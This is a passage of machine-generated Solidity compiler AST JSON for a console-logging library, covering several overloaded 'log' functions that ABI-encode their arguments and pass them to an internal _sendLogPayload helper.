nodeType":"Literal","src":"30080:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_7943dc6627d308affd474fe50b563bcfbf09518236383b806f11730459213622","typeString":"literal_string \"log(uint,address,address,string)\""},"value":"log(uint,address,address,string)"},{"id":19266,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19253,"src":"30116:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19267,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19255,"src":"30120:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19268,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19257,"src":"30124:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19269,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19259,"src":"30128:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7943dc6627d308affd474fe50b563bcfbf09518236383b806f11730459213622","typeString":"literal_string \"log(uint,address,address,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":19263,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"30056:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19264,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"30060:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"30056:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19270,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30056:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19262,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"30040:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19271,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30040:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19272,"nodeType":"ExpressionStatement","src":"30040:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"29961:3:14","parameters":{"id":19260,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19253,"mutability":"mutable","name":"p0","nameLocation":"29970:2:14","nodeType":"VariableDeclaration","scope":19274,"src":"29965:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19252,"name":"uint","nodeType":"ElementaryTypeName","src":"29965:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19255,"mutability":"mutable","name":"p1","nameLocation":"29982:2:14","nodeType":"VariableDeclaration","scope":19274,"src":"29974:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19254,"name":"address","nodeType":"ElementaryTypeName","src":"29974:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19257,"mutability":"mutable","name":"p2","nameLocation":"29994:2:14","nodeType":"VariableDeclaration","scope":19274,"src":"29986:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19256,"name":"address","nodeType":"ElementaryTypeName","src":"29986:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19259,"mutability":"mutable","name":"p3","nameLocation":"30012:2:14","nodeType":"VariableDeclaration","scope":19274,"src":"29998:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19258,"name":"string","nodeType":"ElementaryTypeName","src":"29998:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"29964:51:14"},"returnParameters":{"id":19261,"nodeType":"ParameterList","parameters":[],"src":"30030:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19297,"nodeType":"FunctionDefinition","src":"30145:176:14","nodes":[],"body":{"id":19296,"nodeType":"Block","src":"30214:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c616464726573732c616464726573732c626f6f6c29","id":19288,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"30264:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_01550b04ea9916da7bc495d1b5ca5c4bd8d92ef3a98e2cca5a948cec5011f38c","typeString":"literal_string \"log(uint,address,address,bool)\""},"value":"log(uint,address,address,bool)"},{"id":19289,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19276,"src":"30298:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19290,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19278,"src":"30302:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19291,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19280,"src":"30306:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19292,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19282,"src":"30310:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_01550b04ea9916da7bc495d1b5ca5c4bd8d92ef3a98e2cca5a948cec5011f38c","typeString":"literal_string \"log(uint,address,address,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":19286,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"30240:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19287,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"30244:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"30240:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19293,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30240:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19285,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"30224:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19294,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30224:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19295,"nodeType":"ExpressionStatement","src":"30224:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"30154:3:14","parameters":{"id":19283,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19276,"mutability":"mutable","name":"p0","nameLocation":"30163:2:14","nodeType":"VariableDeclaration","scope":19297,"src":"30158:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19275,"name":"uint","nodeType":"ElementaryTypeName","src":"30158:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19278,"mutability":"mutable","name":"p1","nameLocation":"30175:2:14","nodeType":"VariableDeclaration","scope":19297,"src":"30167:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19277,"name":"address","nodeType":"ElementaryTypeName","src":"30167:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19280,"mutability":"mutable","name":"p2","nameLocation":"30187:2:14","nodeType":"VariableDeclaration","scope":19297,"src":"30179:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19279,"name":"address","nodeType":"ElementaryTypeName","src":"30179:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19282,"mutability":"mutable","name":"p3","nameLocation":"30196:2:14","nodeType":"VariableDeclaration","scope":19297,"src":"30191:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19281,"name":"bool","nodeType":"ElementaryTypeName","src":"30191:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"30157:42:14"},"returnParameters":{"id":19284,"nodeType":"ParameterList","parameters":[],"src":"30214:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19320,"nodeType":"FunctionDefinition","src":"30327:182:14","nodes":[],"body":{"id":19319,"nodeType":"Block","src":"30399:110:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c616464726573732c616464726573732c6164647265737329","id":19311,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"30449:35:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_554745f9e6550eea6000ea2febc94de95d453100d5d60359e62cd398b366bfc4","typeString":"literal_string \"log(uint,address,address,address)\""},"value":"log(uint,address,address,address)"},{"id":19312,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19299,"src":"30486:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19313,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19301,"src":"30490:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19314,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19303,"src":"30494:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19315,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19305,"src":"30498:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_554745f9e6550eea6000ea2febc94de95d453100d5d60359e62cd398b366bfc4","typeString":"literal_string \"log(uint,address,address,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":19309,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"30425:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19310,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"30429:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"30425:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19316,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30425:76:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19308,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"30409:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19317,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30409:93:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19318,"nodeType":"ExpressionStatement","src":"30409:93:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"30336:3:14","parameters":{"id":19306,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19299,"mutability":"mutable","name":"p0","nameLocation":"30345:2:14","nodeType":"VariableDeclaration","scope":19320,"src":"30340:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19298,"name":"uint","nodeType":"ElementaryTypeName","src":"30340:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19301,"mutability":"mutable","name":"p1","nameLocation":"30357:2:14","nodeType":"VariableDeclaration","scope":19320,"src":"30349:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19300,"name":"address","nodeType":"ElementaryTypeName","src":"30349:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19303,"mutability":"mutable","name":"p2","nameLocation":"30369:2:14","nodeType":"VariableDeclaration","scope":19320,"src":"30361:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19302,"name":"address","nodeType":"ElementaryTypeName","src":"30361:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19305,"mutability":"mutable","name":"p3","nameLocation":"30381:2:14","nodeType":"VariableDeclaration","scope":19320,"src":"30373:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19304,"name":"address","nodeType":"ElementaryTypeName","src":"30373:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"30339:45:14"},"returnParameters":{"id":19307,"nodeType":"ParameterList","parameters":[],"src":"30399:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19343,"nodeType":"FunctionDefinition","src":"30515:175:14","nodes":[],"body":{"id":19342,"nodeType":"Block","src":"30587:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e742c75696e742c75696e7429","id":19334,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"30637:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_08ee5666d6bd329d27af528e563bb238dedf631fe471effe31c7123dcb5164f2","typeString":"literal_string \"log(string,uint,uint,uint)\""},"value":"log(string,uint,uint,uint)"},{"id":19335,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19322,"src":"30667:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19336,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19324,"src":"30671:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19337,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19326,"src":"30675:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19338,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19328,"src":"30679:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_08ee5666d6bd329d27af528e563bb238dedf631fe471effe31c7123dcb5164f2","typeString":"literal_string \"log(string,uint,uint,uint)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":19332,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"30613:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19333,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"30617:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"30613:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19339,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30613:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19331,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"30597:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19340,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30597:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19341,"nodeType":"ExpressionStatement","src":"30597:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"30524:3:14","parameters":{"id":19329,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19322,"mutability":"mutable","name":"p0","nameLocation":"30542:2:14","nodeType":"VariableDeclaration","scope":19343,"src":"30528:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19321,"name":"string","nodeType":"ElementaryTypeName","src":"30528:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19324,"mutability":"mutable","name":"p1","nameLocation":"30551:2:14","nodeType":"VariableDeclaration","scope":19343,"src":"30546:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19323,"name":"uint","nodeType":"ElementaryTypeName","src":"30546:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19326,"mutability":"mutable","name":"p2","nameLocation":"30560:2:14","nodeType":"VariableDeclaration","scope":19343,"src":"30555:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19325,"name":"uint","nodeType":"ElementaryTypeName","src":"30555:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19328,"mutability":"mutable","name":"p3","nameLocation":"30569:2:14","nodeType":"VariableDeclaration","scope":19343,"src":"30564:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19327,"name":"uint","nodeType":"ElementaryTypeName","src":"30564:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"30527:45:14"},"returnParameters":{"id":19330,"nodeType":"ParameterList","parameters":[],"src":"30587:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19366,"nodeType":"FunctionDefinition","src":"30696:186:14","nodes":[],"body":{"id":19365,"nodeType":"Block","src":"30777:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e742c75696e742c737472696e6729","id":19357,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"30827:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a54ed4bdd39588715cd10f1b9730ac9f0db064013c8dc11e216fa2ef3a5948b8","typeString":"literal_string \"log(string,uint,uint,string)\""},"value":"log(string,uint,uint,string)"},{"id":19358,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19345,"src":"30859:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19359,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19347,"src":"30863:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19360,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19349,"src":"30867:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19361,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19351,"src":"30871:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a54ed4bdd39588715cd10f1b9730ac9f0db064013c8dc11e216fa2ef3a5948b8","typeString":"literal_string \"log(string,uint,uint,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":19355,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"30803:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19356,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"30807:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"30803:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19362,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30803:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19354,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"30787:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19363,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30787:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19364,"nodeType":"ExpressionStatement","src":"30787:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"30705:3:14","parameters":{"id":19352,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19345,"mutability":"mutable","name":"p0","nameLocation":"30723:2:14","nodeType":"VariableDeclaration","scope":19366,"src":"30709:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19344,"name":"string","nodeType":"ElementaryTypeName","src":"30709:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19347,"mutability":"mutable","name":"p1","nameLocation":"30732:2:14","nodeType":"VariableDeclaration","scope":19366,"src":"30727:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19346,"name":"uint","nodeType":"ElementaryTypeName","src":"30727:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19349,"mutability":"mutable","name":"p2","nameLocation":"30741:2:14","nodeType":"VariableDeclaration","scope":19366,"src":"30736:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19348,"name":"uint","nodeType":"ElementaryTypeName","src":"30736:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19351,"mutability":"mutable","name":"p3","nameLocation":"30759:2:14","nodeType":"VariableDeclaration","scope":19366,"src":"30745:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19350,"name":"string","nodeType":"ElementaryTypeName","src":"30745:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"30708:54:14"},"returnParameters":{"id":19353,"nodeType":"ParameterList","parameters":[],"src":"30777:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19389,"nodeType":"FunctionDefinition","src":"30888:175:14","nodes":[],"body":{"id":19388,"nodeType":"Block","src":"30960:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e742c75696e742c626f6f6c29","id":19380,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"31010:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_f73c7e3dc5b5cecd5787e08e359612e609c17649291b138c8f184ee441526f2d","typeString":"literal_string \"log(string,uint,uint,bool)\""},"value":"log(string,uint,uint,bool)"},{"id":19381,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19368,"src":"31040:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19382,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19370,"src":"31044:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19383,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19372,"src":"31048:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19384,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19374,"src":"31052:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f73c7e3dc5b5cecd5787e08e359612e609c17649291b138c8f184ee441526f2d","typeString":"literal_string \"log(string,uint,uint,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":19378,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"30986:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19379,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"30990:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"30986:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19385,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30986:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19377,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"30970:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes 